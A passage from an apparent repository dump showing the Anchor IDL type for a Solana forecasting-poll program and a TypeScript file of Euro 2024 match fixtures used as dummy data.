\"payer\";\n          writable: true;\n          signer: true;\n        },\n        {\n          name: \"user\";\n          writable: true;\n          pda: {\n            seeds: [\n              {\n                kind: \"const\";\n                value: [117, 115, 101, 114];\n              },\n              {\n                kind: \"account\";\n                path: \"payer\";\n              }\n            ];\n          };\n        },\n        {\n          name: \"auth\";\n          pda: {\n            seeds: [\n              {\n                kind: \"const\";\n                value: [97, 117, 116, 104];\n              }\n            ];\n          };\n        },\n        {\n          name: \"mint\";\n          writable: true;\n          pda: {\n            seeds: [\n              {\n                kind: \"const\";\n                value: [112, 111, 101, 107, 101, 110, 95, 109, 105, 110, 116];\n              }\n            ];\n          };\n        },\n        {\n          name: \"tokenAccount\";\n          writable: true;\n        },\n        {\n          name: \"tokenProgram\";\n          address: \"TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA\";\n        },\n        {\n          name: \"associatedTokenProgram\";\n          address: \"ATokenGPvbdGVxr1b2hvZbsiqW5xWH25efTNsLJA8knL\";\n        },\n        {\n          name: \"systemProgram\";\n          address: \"11111111111111111111111111111111\";\n        }\n      ];\n      args: [];\n    },\n    {\n      name: \"removeEstimate\";\n      discriminator: [123, 41, 255, 206, 43, 234, 150, 38];\n      accounts: [\n        {\n          name: \"forecaster\";\n          writable: true;\n          signer: true;\n        },\n        {\n          name: \"user\";\n          writable: true;\n          pda: {\n            seeds: [\n              {\n                kind: \"const\";\n                value: [117, 115, 101, 114];\n              },\n              {\n                kind: \"account\";\n                path: \"forecaster\";\n              }\n            ];\n          };\n        },\n        {\n          name: \"poll\";\n          writable: true;\n          pda: {\n            seeds: [\n              {\n                kind: \"const\";\n                value: [112, 111, 108, 108];\n              },\n              {\n                kind: \"account\";\n                path: \"poll.id\";\n                account: \"poll\";\n              }\n            ];\n          };\n        },\n        {\n          name: \"userEstimate\";\n          writable: true;\n          pda: {\n            seeds: [\n              {\n                kind: \"const\";\n                value: [\n                  117,\n                  115,\n                  101,\n                  114,\n                  95,\n                  101,\n                  115,\n                  116,\n                  105,\n                  109,\n                  97,\n                  116,\n                  101\n                ];\n              },\n              {\n                kind: \"account\";\n                path: \"poll\";\n              },\n              {\n                kind: \"account\";\n                path: \"forecaster\";\n              }\n            ];\n          };\n        },\n        {\n          name: \"estimateUpdate\";\n          writable: true;\n          pda: {\n            seeds: [\n              {\n                kind: \"const\";\n                value: [\n                  112,\n                  111,\n                  108,\n                  108,\n                  95,\n                  101,\n                  115,\n                  116,\n                  105,\n                  109,\n                  97,\n                  116,\n                  101,\n                  95,\n                  117,\n                  112,\n                  100,\n                  97,\n                  116,\n                  101\n                ];\n              },\n              {\n                kind: \"account\";\n                path: \"poll\";\n              },\n              {\n                kind: \"account\";\n                path: \"poll.num_estimate_updates\";\n                account: \"poll\";\n              }\n            ];\n          };\n        },\n        {\n          name: \"scoringList\";\n          writable: true;\n          pda: {\n            seeds: [\n              {\n                kind: \"const\";\n                value: [\n                  115,\n                  99,\n                  111,\n                  114,\n                  105,\n                  110,\n                  103,\n                  95,\n                  108,\n                  105,\n                  115,\n                  116\n                ];\n              },\n              {\n                kind: \"account\";\n                path: \"poll\";\n              }\n            ];\n          };\n        },\n        {\n          name: \"userScore\";\n          writable: true;\n          pda: {\n            seeds: [\n              {\n                kind: \"const\";\n                value: [117, 115, 101, 114, 95, 115, 99, 111, 114, 101];\n              },\n              {\n                kind: \"account\";\n                path: \"poll\";\n              },\n              {\n                kind: \"account\";\n                path: \"forecaster\";\n              }\n            ];\n          };\n        },\n        {\n          name: \"systemProgram\";\n          address: \"11111111111111111111111111111111\";\n        }\n      ];\n      args: [];\n    },\n    {\n      name: \"resolvePoll\";\n      discriminator: [130, 62, 235, 12, 76, 239, 17, 61];\n      accounts: [\n        {\n          name: \"resolver\";\n          writable: true;\n          signer: true;\n          relations: [\"poll\"];\n        },\n        {\n          name: \"poll\";\n          writable: true;\n          pda: {\n            seeds: [\n              {\n                kind: \"const\";\n                value: [112, 111, 108, 108];\n              },\n              {\n                kind: \"account\";\n                path: \"poll.id\";\n                account: \"poll\";\n              }\n            ];\n          };\n        },\n        {\n          name: \"scoringList\";\n          writable: true;\n          pda: {\n            seeds: [\n              {\n                kind: \"const\";\n                value: [\n                  115,\n                  99,\n                  111,\n                  114,\n                  105,\n                  110,\n                  103,\n                  95,\n                  108,\n                  105,\n                  115,\n                  116\n                ];\n              },\n              {\n                kind: \"account\";\n                path: \"poll\";\n              }\n            ];\n          };\n        },\n        {\n          name: \"systemProgram\";\n          address: \"11111111111111111111111111111111\";\n        }\n      ];\n      args: [\n        {\n          name: \"result\";\n          type: \"bool\";\n        }\n      ];\n    },\n    {\n      name: \"startPoll\";\n      discriminator: [59, 188, 204, 28, 129, 88, 202, 242];\n      accounts: [\n        {\n          name: \"creator\";\n          writable: true;\n          signer: true;\n          relations: [\"poll\"];\n        },\n        {\n          name: \"poll\";\n          writable: true;\n          pda: {\n            seeds: [\n              {\n                kind: \"const\";\n                value: [112, 111, 108, 108];\n              },\n              {\n                kind: \"account\";\n                path: \"poll.id\";\n                account: \"poll\";\n              }\n            ];\n          };\n        },\n        {\n          name: \"scoringList\";\n          writable: true;\n          pda: {\n            seeds: [\n              {\n                kind: \"const\";\n                value: [\n                  115,\n                  99,\n                  111,\n                  114,\n                  105,\n                  110,\n                  103,\n                  95,\n                  108,\n                  105,\n                  115,\n                  116\n                ];\n              },\n              {\n                kind: \"account\";\n                path: \"poll\";\n              }\n            ];\n          };\n        },\n        {\n          name: \"systemProgram\";\n          address: \"11111111111111111111111111111111\";\n        }\n      ];\n      args: [];\n    },\n    {\n      name: \"updateEstimate\";\n      discriminator: [16, 66, 42, 145, 179, 218, 133, 181];\n      accounts: [\n        {\n          name: \"forecaster\";\n          writable: true;\n          signer: true;\n        },\n        {\n          name: \"poll\";\n          writable: true;\n          pda: {\n            seeds: [\n              {\n                kind: \"const\";\n                value: [112, 111, 108, 108];\n              },\n              {\n                kind: \"account\";\n                path: \"poll.id\";\n                account: \"poll\";\n              }\n            ];\n          };\n        },\n        {\n          name: \"userEstimate\";\n          writable: true;\n          pda: {\n            seeds: [\n              {\n                kind: \"const\";\n                value: [\n                  117,\n                  115,\n                  101,\n                  114,\n                  95,\n                  101,\n                  115,\n                  116,\n                  105,\n                  109,\n                  97,\n                  116,\n                  101\n                ];\n              },\n              {\n                kind: \"account\";\n                path: \"poll\";\n              },\n              {\n                kind: \"account\";\n                path: \"forecaster\";\n              }\n            ];\n          };\n        },\n        {\n          name: \"userEstimateUpdate\";\n          writable: true;\n          pda: {\n            seeds: [\n              {\n                kind: \"const\";\n                value: [\n                  117,\n                  115,\n                  101,\n                  114,\n                  95,\n                  101,\n                  115,\n                  116,\n                  105,\n                  109,\n                  97,\n                  116,\n                  101,\n                  95,\n                  117,\n                  112,\n                  100,\n                  97,\n                  116,\n                  101\n                ];\n              },\n              {\n                kind: \"account\";\n                path: \"poll\";\n              },\n              {\n                kind: \"account\";\n                path: \"forecaster\";\n              },\n              {\n                kind: \"account\";\n                path: \"user_estimate.num_estimate_updates\";\n                account: \"userEstimate\";\n              }\n            ];\n          };\n        },\n        {\n          name: \"estimateUpdate\";\n          writable: true;\n          pda: {\n            seeds: [\n              {\n                kind: \"const\";\n                value: [\n                  112,\n                  111,\n                  108,\n                  108,\n                  95,\n                  101,\n                  115,\n                  116,\n                  105,\n                  109,\n                  97,\n                  116,\n                  101,\n                  95,\n                  117,\n                  112,\n                  100,\n                  97,\n                  116,\n                  101\n                ];\n              },\n              {\n                kind: \"account\";\n                path: \"poll\";\n              },\n              {\n                kind: \"account\";\n                path: \"poll.num_estimate_updates\";\n                account: \"poll\";\n              }\n            ];\n          };\n        },\n        {\n          name: \"scoringList\";\n          writable: true;\n          pda: {\n            seeds: [\n              {\n                kind: \"const\";\n                value: [\n                  115,\n                  99,\n                  111,\n                  114,\n                  105,\n                  110,\n                  103,\n                  95,\n                  108,\n                  105,\n                  115,\n                  116\n                ];\n              },\n              {\n                kind: \"account\";\n                path: \"poll\";\n              }\n            ];\n          };\n        },\n        {\n          name: \"userScore\";\n          writable: true;\n          pda: {\n            seeds: [\n              {\n                kind: \"const\";\n                value: [117, 115, 101, 114, 95, 115, 99, 111, 114, 101];\n              },\n              {\n                kind: \"account\";\n                path: \"poll\";\n              },\n              {\n                kind: \"account\";\n                path: \"forecaster\";\n              }\n            ];\n          };\n        },\n        {\n          name: \"systemProgram\";\n          address: \"11111111111111111111111111111111\";\n        }\n      ];\n      args: [\n        {\n          name: \"newLowerEstimate\";\n          type: \"u16\";\n        },\n        {\n          name: \"newUpperEstimate\";\n          type: \"u16\";\n        }\n      ];\n    }\n  ];\n  accounts: [\n    {\n      name: \"poeState\";\n      discriminator: [56, 89, 110, 49, 245, 252, 16, 20];\n    },\n    {\n      name: \"poll\";\n      discriminator: [110, 234, 167, 188, 231, 136, 153, 111];\n    },\n    {\n      name: \"pollEstimateUpdate\";\n      discriminator: [140, 170, 34, 23, 150, 213, 62, 18];\n    },\n    {\n      name: \"scoringList\";\n      discriminator: [200, 108, 113, 50, 15, 45, 206, 81];\n    },\n    {\n      name: \"user\";\n      discriminator: [159, 117, 95, 227, 239, 151, 58, 236];\n    },\n    {\n      name: \"userEstimate\";\n      discriminator: [4, 202, 200, 189, 121, 204, 147, 101];\n    },\n    {\n      name: \"userEstimateUpdate\";\n      discriminator: [231, 183, 179, 64, 195, 152, 147, 122];\n    },\n    {\n      name: \"userScore\";\n      discriminator: [212, 150, 123, 224, 34, 227, 84, 39];\n    }\n  ];\n  errors: [\n    {\n      code: 6000;\n      name: \"pollAlreadyStarted\";\n      msg: \"Poll has already started.\";\n    },\n    {\n      code: 6001;\n      name: \"pollClosed\";\n      msg: \"Poll is closed.\";\n    },\n    {\n      code: 6002;\n      name: \"pollNotResolved\";\n      msg: \"Poll has not been resolved.\";\n    },\n    {\n      code: 6003;\n      name: \"pollAlreadyResolved\";\n      msg: \"Poll has already been resolved.\";\n    }\n  ];\n  types: [\n    {\n      name: \"poeState\";\n      type: {\n        kind: \"struct\";\n        fields: [\n          {\n            name: \"authority\";\n            type: \"pubkey\";\n          },\n          {\n            name: \"numPolls\";\n            type: \"u64\";\n          },\n          {\n            name: \"score\";\n            type: \"f32\";\n          },\n          {\n            name: \"recalibrationFactor\";\n            type: \"f32\";\n          },\n          {\n            name: \"bump\";\n            type: \"u8\";\n          }\n        ];\n      };\n    },\n    {\n      name: \"poll\";\n      type: {\n        kind: \"struct\";\n        fields: [\n          {\n            name: \"creator\";\n            type: \"pubkey\";\n          },\n          {\n            name: \"resolver\";\n            type: \"pubkey\";\n          },\n          {\n            name: \"id\";\n            type: \"u64\";\n          },\n          {\n            name: \"category\";\n            type: \"u16\";\n          },\n          {\n            name: \"hasStarted\";\n            type: \"bool\";\n          },\n          {\n            name: \"bettingAmount\";\n            type: \"u64\";\n          },\n          {\n            name: \"startSlot\";\n            type: \"u64\";\n          },\n          {\n            name: \"endSlot\";\n            type: {\n              option: \"u64\";\n            };\n          },\n          {\n            name: \"decayRate\";\n            type: \"f32\";\n          },\n          {\n            name: \"collectiveEstimate\";\n            type: {\n              option: \"u32\";\n            };\n          },\n          {\n            name: \"variance\";\n            type: {\n              option: \"f32\";\n            };\n          },\n          {\n            name: \"lnGmA\";\n            type: {\n              option: \"f32\";\n            };\n          },\n          {\n            name: \"lnGmB\";\n            type: {\n              option: \"f32\";\n            };\n          },\n          {\n            name: \"numForecasters\";\n            type: \"u64\";\n          },\n          {\n            name: \"numEstimateUpdates\";\n            type: \"u64\";\n          },\n          {\n            name: \"accumulatedWeights\";\n            type: \"f32\";\n          },\n          {\n            name: \"accumulatedWeightsSquared\";\n            type: \"f32\";\n          },\n          {\n            name: \"result\";\n            type: {\n              option: \"bool\";\n            };\n          },\n          {\n            name: \"question\";\n            type: \"string\";\n          },\n          {\n            name: \"description\";\n            type: \"string\";\n          },\n          {\n            name: \"bump\";\n            type: \"u8\";\n          }\n        ];\n      };\n    },\n    {\n      name: \"pollEstimateUpdate\";\n      type: {\n        kind: \"struct\";\n        fields: [\n          {\n            name: \"poll\";\n            type: \"pubkey\";\n          },\n          {\n            name: \"slot\";\n            type: \"u64\";\n          },\n          {\n            name: \"timestamp\";\n            type: \"i64\";\n          },\n          {\n            name: \"estimate\";\n            type: {\n              option: \"u32\";\n            };\n          },\n          {\n            name: \"variance\";\n            type: {\n              option: \"f32\";\n            };\n          },\n          {\n            name: \"bump\";\n            type: \"u8\";\n          }\n        ];\n      };\n    },\n    {\n      name: \"scoringList\";\n      serialization: \"bytemuck\";\n      repr: {\n        kind: \"c\";\n      };\n      type: {\n        kind: \"struct\";\n        fields: [\n          {\n            name: \"options\";\n            type: {\n              array: [\"f32\", 128];\n            };\n          },\n          {\n            name: \"cost\";\n            type: {\n              array: [\"f32\", 128];\n            };\n          },\n          {\n            name: \"peerScoreA\";\n            type: {\n              array: [\"f32\", 128];\n            };\n          },\n          {\n            name: \"peerScoreB\";\n            type: {\n              array: [\"f32\", 128];\n            };\n          },\n          {\n            name: \"lastSlot\";\n            type: \"u64\";\n          }\n        ];\n      };\n    },\n    {\n      name: \"user\";\n      type: {\n        kind: \"struct\";\n        fields: [\n          {\n            name: \"userAddress\";\n            type: \"pubkey\";\n          },\n          {\n            name: \"score\";\n            type: \"f32\";\n          },\n          {\n            name: \"participationCount\";\n            type: \"u32\";\n          },\n          {\n            name: \"correctAnswersCount\";\n            type: \"u32\";\n          },\n          {\n            name: \"bump\";\n            type: \"u8\";\n          }\n        ];\n      };\n    },\n    {\n      name: \"userEstimate\";\n      type: {\n        kind: \"struct\";\n        fields: [\n          {\n            name: \"forecaster\";\n            type: \"pubkey\";\n          },\n          {\n            name: \"poll\";\n            type: \"pubkey\";\n          },\n          {\n            name: \"lowerEstimate\";\n            type: \"u16\";\n          },\n          {\n            name: \"upperEstimate\";\n            type: \"u16\";\n          },\n          {\n            name: \"scoreWeight\";\n            type: \"f32\";\n          },\n          {\n            name: \"recencyWeight\";\n            type: \"f32\";\n          },\n          {\n            name: \"numForecasters\";\n            type: \"u64\";\n          },\n          {\n            name: \"numEstimateUpdates\";\n            type: \"u64\";\n          },\n          {\n            name: \"reputationScore\";\n            type: {\n              option: \"f32\";\n            };\n          },\n          {\n            name: \"payoutScore\";\n            type: {\n              option: \"f32\";\n            };\n          },\n          {\n            name: \"bump\";\n            type: \"u8\";\n          }\n        ];\n      };\n    },\n    {\n      name: \"userEstimateUpdate\";\n      type: {\n        kind: \"struct\";\n        fields: [\n          {\n            name: \"poll\";\n            type: \"pubkey\";\n          },\n          {\n            name: \"user\";\n            type: \"pubkey\";\n          },\n          {\n            name: \"slot\";\n            type: \"u64\";\n          },\n          {\n            name: \"timestamp\";\n            type: \"i64\";\n          },\n          {\n            name: \"lowerEstimate\";\n            type: \"u16\";\n          },\n          {\n            name: \"upperEstimate\";\n            type: \"u16\";\n          }\n        ];\n      };\n    },\n    {\n      name: \"userScore\";\n      type: {\n        kind: \"struct\";\n        fields: [\n          {\n            name: \"forecaster\";\n            type: \"pubkey\";\n          },\n          {\n            name: \"poll\";\n            type: \"pubkey\";\n          },\n          {\n            name: \"options\";\n            type: \"f32\";\n          },\n          {\n            name: \"lastLowerOption\";\n            type: \"f32\";\n          },\n          {\n            name: \"lastUpperOption\";\n            type: \"f32\";\n          },\n          {\n            name: \"cost\";\n            type: \"f32\";\n          },\n          {\n            name: \"lastLowerCost\";\n            type: \"f32\";\n          },\n          {\n            name: \"lastUpperCost\";\n            type: \"f32\";\n          },\n          {\n            name: \"lastPeerScoreA\";\n            type: \"f32\";\n          },\n          {\n            name: \"lastPeerScoreB\";\n            type: \"f32\";\n          },\n          {\n            name: \"lnA\";\n            type: \"f32\";\n          },\n          {\n            name: \"lnB\";\n            type: \"f32\";\n          },\n          {\n            name: \"peerScoreA\";\n            type: \"f32\";\n          },\n          {\n            name: \"peerScoreB\";\n            type: \"f32\";\n          },\n          {\n            name: \"lastSlot\";\n            type: \"u64\";\n          },\n          {\n            name: \"bump\";\n            type: \"u8\";\n          }\n        ];\n      };\n    }\n  ];\n};\n"
  },
  {
    "path": "lib/dummyData.ts",
    "content": "export type Match = {\n  id: string;\n  date: string;\n  teamA: string;\n  teamB: string;\n  logoA: string;\n  logoB: string;\n  resultA: string;\n  resultB: string;\n};\n\nconst flagBaseUrl = \"https://flagcdn.com/48x36/\";\n\nexport const matchesFirstMatchDay: Match[] = [\n  {\n    id: \"1\",\n    date: \"14.06.24 21:00\",\n    teamA: \"Germany\",\n    teamB: \"Scotland\",\n    logoA: `${flagBaseUrl}de.png`,\n    logoB: `${flagBaseUrl}gb-sct.png`,\n    resultA: \"5\",\n    resultB: \"1\",\n  },\n  {\n    id: \"2\",\n    date: \"15.06.24 15:00\",\n    teamA: \"Hungary\",\n    teamB: \"Switzerland\",\n    logoA: `${flagBaseUrl}hu.png`,\n    logoB: `${flagBaseUrl}ch.png`,\n    resultA: \"1\",\n    resultB: \"3\",\n  },\n  {\n    id: \"3\",\n    date: \"15.06.24 18:00\",\n    teamA: \"Spain\",\n    teamB: \"Croatia\",\n    logoA: `${flagBaseUrl}es.png`,\n    logoB: `${flagBaseUrl}hr.png`,\n    resultA: \"3\",\n    resultB: \"0\",\n  },\n  {\n    id: \"4\",\n    date: \"15.06.24 21:00\",\n    teamA: \"Italy\",\n    teamB: \"Albania\",\n    logoA: `${flagBaseUrl}it.png`,\n    logoB: `${flagBaseUrl}al.png`,\n    resultA: \"2\",\n    resultB: \"1\",\n  },\n  {\n    id: \"5\",\n    date: \"16.06.24 15:00\",\n    teamA: \"Poland\",\n    teamB: \"Netherlands\",\n    logoA: `${flagBaseUrl}pl.png`,\n    logoB: `${flagBaseUrl}nl.png`,\n    resultA: \"1\",\n    resultB: \"2\",\n  },\n  {\n    id: \"6\",\n    date: \"16.06.24 18:00\",\n    teamA: \"Slovenia\",\n    teamB: \"Denmark\",\n    logoA: `${flagBaseUrl}si.png`,\n    logoB: `${flagBaseUrl}dk.png`,\n    resultA: \"1\",\n    resultB: \"1\",\n  },\n  {\n    id: \"7\",\n    date: \"16.06.24 21:00\",\n    teamA: \"Serbia\",\n    teamB: \"England\",\n    logoA: `${flagBaseUrl}rs.png`,\n    logoB: `${flagBaseUrl}gb-eng.png`,\n    resultA: \"0\",\n    resultB: \"1\",\n  },\n  {\n    id: \"8\",\n    date: \"17.06.24 15:00\",\n    teamA: \"Romania\",\n    teamB: \"Ukraine\",\n    logoA: `${flagBaseUrl}ro.png`,\n    logoB: `${flagBaseUrl}ua.png`,\n    resultA: \"3\",\n    resultB: \"0\",\n  },\n  {\n    id: \"9\",\n    date: \"17.06.24 18:00\",\n    teamA: \"Belgium\",\n    teamB: \"Slovakia\",\n    logoA: `${flagBaseUrl}be.png`,\n    logoB: `${flagBaseUrl}sk.png`,\n    resultA: \"0\",\n    resultB: \"1\",\n  },\n  {\n    id: \"10\",\n    date: \"17.06.24 21:00\",\n    teamA: \"Austria\",\n    teamB: \"France\",\n    logoA: `${flagBaseUrl}at.png`,\n    logoB: `${flagBaseUrl}fr.png`,\n    resultA: \"0\",\n    resultB: \"1\",\n  },\n  {\n    id: \"11\",\n    date: \"18.06.24 18:00\",\n    teamA: \"Türkiye\",\n    teamB: \"Georgia\",\n    logoA: `${flagBaseUrl}tr.png`,\n    logoB: `${flagBaseUrl}ge.png`,\n    resultA: \"3\",\n    resultB: \"1\",\n  },\n  {\n    id: \"12\",\n    date: \"18.06.24 21:00\",\n    teamA: \"Portugal\",\n    teamB: \"Czechia\",\n    logoA: `${flagBaseUrl}pt.png`,\n    logoB: `${flagBaseUrl}cz.png`,\n    resultA: \"2\",\n    resultB: \"1\",\n  },\n];\n\nexport const matchesSecondMatchday: Match[] = [\n  {\n    id: \"13\",\n    date: \"19.06.24 15:00\",\n    teamA: \"Croatia\",\n    teamB: \"Albania\",\n    logoA: `${flagBaseUrl}hr.png`,\n    logoB: `${flagBaseUrl}al.png`,\n    resultA: \"2\",\n    resultB: \"2\",\n  },\n  {\n    id: \"14\",\n    date: \"19.06.24 18:00\",\n    teamA: \"Germany\",\n    teamB: \"Hungary\",\n    logoA: `${flagBaseUrl}de.png`,\n    logoB: `${flagBaseUrl}hu.png`,\n    resultA: \"2\",\n    resultB: \"0\",\n  },\n  {\n    id: \"15\",\n    date: \"19.06.24 21:00\",\n    teamA: \"Scotland\",\n    teamB: \"Switzerland\",\n    logoA: `${flagBaseUrl}gb-sct.png`,\n    logoB: `${flagBaseUrl}ch.png`,\n    resultA: \"1\",\n    resultB: \"1\",\n  },\n  {\n    id: \"16\",\n    date: \"20.06.24 15:00\",\n    teamA: \"Slovenia\",\n    teamB: \"Serbia\",\n    logoA: `${flagBaseUrl}si.png`,\n    logoB: `${flagBaseUrl}rs.png`,\n    resultA: \"1\",\n    resultB: \"1\",\n  },\n  {\n    id: \"17\",\n    date: \"20.06.24 18:00\",\n    teamA: \"Denmark\",\n    teamB: \"England\",\n    logoA: `${flagBaseUrl}dk.png`,\n    logoB: `${flagBaseUrl}gb-eng.png`,\n    resultA: \"1\",\n    resultB: \"1\",\n  },\n  {\n    id: \"18\",\n    date: \"20.06.24 21:00\",\n    teamA: \"Spain\",\n    teamB: \"Italy\",\n    logoA: `${flagBaseUrl}es.png`,\n    logoB: `${flagBaseUrl}it.png`,\n    resultA: \"1\",\n    resultB: \"0\",\n  },\n  {\n    id: \"19\",\n    date: \"21.06.24 15:00\",\n    teamA: \"Slovakia\",\n    teamB: \"Ukraine\",\n    logoA: `${flagBaseUrl}sk.png`,\n    logoB: `${flagBaseUrl}ua.png`,\n    resultA: \"1\",\n    resultB: \"2\",\n  },\n  {\n    id: \"20\",\n    date: \"21.06.24 18:00\",\n    teamA: \"Poland\",\n    teamB: \"Austria\",\n    logoA: `${flagBaseUrl}pl.png`,\n    logoB: `${flagBaseUrl}at.png`,\n    resultA: \"1\",\n    resultB: \"3\",\n  },\n  {\n    id: \"21\",\n    date: \"21.06.24 21:00\",\n    teamA: \"Netherland\",\n    teamB: \"France\",\n    logoA: `${flagBaseUrl}nl.png`,\n    logoB: `${flagBaseUrl}fr.png`,\n    resultA: \"0\",\n    resultB: \"0\",\n  },\n  {\n    id: \"22\",\n    date: \"22.06.24 15:00\",\n    teamA: \"Georgia\",\n    teamB: \"Czechia\",\n    logoA: `${flagBaseUrl}ge.png`,\n    logoB: `${flagBaseUrl}cz.png`,\n    resultA: \"1\",\n    resultB: \"1\",\n  },\n  {\n    id: \"23\",\n    date: \"22.06.24 18:00\",\n    teamA: \"Türkiye\",\n    teamB: \"Portugal\",\n    logoA: `${flagBaseUrl}tr.png`,\n    logoB: `${flagBaseUrl}pt.png`,\n    resultA: \"0\",\n    resultB: \"3\",\n  },\n  {\n    id: \"24\",\n    date: \"22.06.24 21:00\",\n    teamA: \"Belgium\",\n    teamB: \"Romania\",\n    logoA: `${flagBaseUrl}be.png`,\n    logoB: `${flagBaseUrl}ro.png`,\n    resultA: \"2\",\n    resultB: \"0\",\n  },\n];\n\nexport const matchesThirdMatchday: Match[] = [\n  {\n    id: \"25\",\n    date: \"23.06.24 21:00\",\n    teamA: \"Switzerland\",\n    teamB: \"Germany\",\n    logoA: `${flagBaseUrl}ch.png`,\n    logoB: `${flagBaseUrl}de.png`,\n    resultA: \"1\",\n    resultB: \"1\",\n  },\n  {\n    id: \"26\",\n    date: \"23.06.24 21:00\",\n    teamA: \"Scotland\",\n    teamB: \"Hungary\",\n    logoA: `${flagBaseUrl}gb-sct.png`,\n    logoB: `${flagBaseUrl}hu.png`,\n    resultA: \"0\",\n    resultB: \"1\",\n  },\n  {\n    id: \"27\",\n    date: \"24.06.24 21:00\",\n    teamA: \"Albania\",\n    teamB: \"Spain\",\n    logoA: `${flagBaseUrl}al.png`,\n    logoB: `${flagBaseUrl}es.png`,\n    resultA: \"0\",\n    resultB: \"1\",\n  },\n  {\n    id: \"28\",\n    date: \"24.06.24 21:00\",\n    teamA: \"Croatia\",\n    teamB: \"Italy\",\n    logoA: `${flagBaseUrl}hr.png`,\n    logoB: `${flagBaseUrl}it.png`,\n    resultA: \"1\",\n    resultB: \"1\",\n  },\n  {\n    id: \"29\",\n    date: \"25.06.24 18:00\",\n    teamA: \"Netherlands\",\n    teamB: \"Austria\",\n    logoA: `${flagBaseUrl}nl.png`,\n    logoB: `${flagBaseUrl}at.png`,\n    resultA: \"2\",\n    resultB: \"3\",\n  },\n  {\n    id: \"30\",\n    date: \"25.06.24 18:00\",\n    teamA: \"France\",\n    teamB: \"Poland\",\n    logoA: `${flagBaseUrl}fr.png`,\n    logoB: `${flagBaseUrl}pl.png`,\n    resultA: \"1\",\n    resultB: \"1\",\n  },\n  {\n    id: \"31\",\n    date: \"25.06.24 21:00\",\n    teamA: \"England\",\n    teamB: \"Slovenia\",\n    logoA: `${flagBaseUrl}gb-eng.png`,\n    logoB: `${flagBaseUrl}si.png`,\n    resultA: \"0\",\n    resultB: \"0\",\n  },\n  {\n    id: \"32\",\n    date: \"25.06.24 21:00\",\n    teamA: \"Denmark\",\n    teamB: \"Serbia\",\n    logoA: `${flagBaseUrl}dk.png`,\n    logoB: `${flagBaseUrl}rs.png`,\n    resultA: \"0\",\n    resultB: \"0\",\n  },\n  {\n    id: \"33\",\n    date: \"26.06.24 18:00\",\n    teamA: \"Slovakia\",\n    teamB: \"Romania\",\n    logoA: `${flagBaseUrl}sk.png`,\n    logoB: `${flagBaseUrl}ro.png`,\n    resultA: \"1\",\n    resultB: \"1\",\n  },\n  {\n    id: \"34\",\n    date: \"26.06.24 18:00\",\n    teamA: \"Ukraine\",\n    teamB: \"Belgium\",\n    logoA: `${flagBaseUrl}ua.png`,\n    logoB: `${flagBaseUrl}be.png`,\n    resultA: \"0\",\n    resultB: \"0\",\n  },\n  {\n    id: \"35\",\n    date: \"26.06.24 21:00\",\n    teamA: \"Georgia\",\n    teamB: \"Portugal\",\n    logoA: `${flagBaseUrl}ge.png`,\n    logoB: `${flagBaseUrl}pt.png`,\n    resultA: \"2\",\n    resultB: \"0\",\n  },\n  {\n    id: \"36\",\n    date: \"26.06.24 21:00\",\n    teamA: \"Czechia\",\n    teamB: \"Türkiye\",\n    logoA: `${flagBaseUrl}cz.png`,\n    logoB: `${flagBaseUrl}tr.png`,\n    resultA: \"1\",\n    resultB: \"2\",\n  },\n];\n\nexport const matchesRound16: Match[] = [\n  {\n    id: \"37\",\n    date: \"29.06.24 18:00\",\n    teamA: \"Switzerland\",\n    teamB: \"Italy\",\n    logoA: `${flagBaseUrl}ch.png`,\n    logoB: `${flagBaseUrl}it.png`,\n    resultA: \"2\",\n    resultB: \"0\",\n  },\n  {\n    id: \"38\",\n    date: \"29.06.24 21:00\",\n    teamA: \"Germany\",\n    teamB: \"Denmark\",\n    logoA: `${flagBaseUrl}de.png`,\n    logoB: `${flagBaseUrl}dk.png`,\n    resultA: \"2\",\n    resultB: \"0\",\n  },\n  {\n    id: \"39\",\n    date: \"30.06.24 18:00\",\n    teamA: \"England\",\n    teamB: \"Slovakia\",\n    logoA: `${flagBaseUrl}gb-eng.png`,\n    logoB: `${flagBaseUrl}sk.png`,\n    resultA: \"2\",\n    resultB: \"1\",\n  },\n  {\n    id: \"40\",\n    date: \"30.06.24 21:00\",\n    teamA: \"Spain\",\n    teamB: \"Georgia\",\n    logoA: `${flagBaseUrl}es.png`,\n    logoB: `${flagBaseUrl}ge.png`,\n    resultA: \"4\",\n    resultB: \"1\",\n  },\n  {\n    id: \"41\",\n    date: \"01.07.24 18:00\",\n    teamA: \"France\",\n    teamB: \"Belgium\",\n    logoA: `${flagBaseUrl}fr.png`,\n    logoB: `${flagBaseUrl}be.png`,\n    resultA: \"1\",\n    resultB: \"0\",\n  },\n  {\n    id: \"42\",\n    date: \"01.07.24 21:00\",\n    teamA: \"Portugal\",\n    teamB: \"Slovenia\",\n    logoA: `${flagBaseUrl}pt.png`,\n    logoB: `${flagBaseUrl}si.png`,\n    resultA: \"3\",\n    resultB: \"0\",\n  },\n  {\n    id: \"43\",\n    date: \"02.07.24 18:00\",\n    teamA: \"Romania\",\n    teamB: \"Netherlands\",\n    logoA: `${flagBaseUrl}ro.png`,\n    logoB: `${flagBaseUrl}nl.png`,\n    resultA: \"0\",\n    resultB: \"3\",\n  },\n  {\n    id: \"44\",\n    date: \"02.07.24 21:00\",\n    teamA: \"Austria\",\n    teamB: \"Türkiye\",\n    logoA: `${flagBaseUrl}at.png`,\n    logoB: `${flagBaseUrl}tr.png`,\n    resultA: \"1\",\n    resultB: \"2\",\n  },\n];\nexport const matchesQuarterFinals: Match[] = [\n  {\n    id: \"45\",\n    date: \"05.07.24 18:00\",\n    teamA: \"Spain\",\n    teamB: \"Germany\",\n    logoA: `${flagBaseUrl}es.png`,\n    logoB: `${flagBaseUrl}de.png`,\n    resultA: \"2\",\n    resultB: \"1\",\n  },\n  {\n    id: \"46\",\n    date: \"05.07.24 21:00\",\n    teamA: \"Portugal\",\n    teamB: \"France\",\n    logoA: `${flagBaseUrl}pt.png`,\n    logoB: `${flagBaseUrl}fr.png`,\n    resultA: \"3\",\n    resultB: \"5\",\n  },\n  {\n    id: \"47\",\n    date: \"06.07.24 18:00\",\n    teamA: \"England\",\n    teamB: \"Switzerland\",\n    logoA: `${flagBaseUrl}gb-eng.png`,\n    logoB: `${flagBaseUrl}ch.png`,\n    resultA: \"5\",\n    resultB: \"3\",\n  },\n  {\n    id: \"48\",\n    date: \"07.07.24 21:00\",\n    teamA: \"Netherlands\",\n    teamB: \"Türkiye\",\n    logoA: `${flagBaseUrl}nl.png`,\n    logoB: `${flagBaseUrl}tr.png`,\n    resultA: \"2\",\n    resultB: \"1\",\n  },\n];\nexport const matchesSemiFinals: 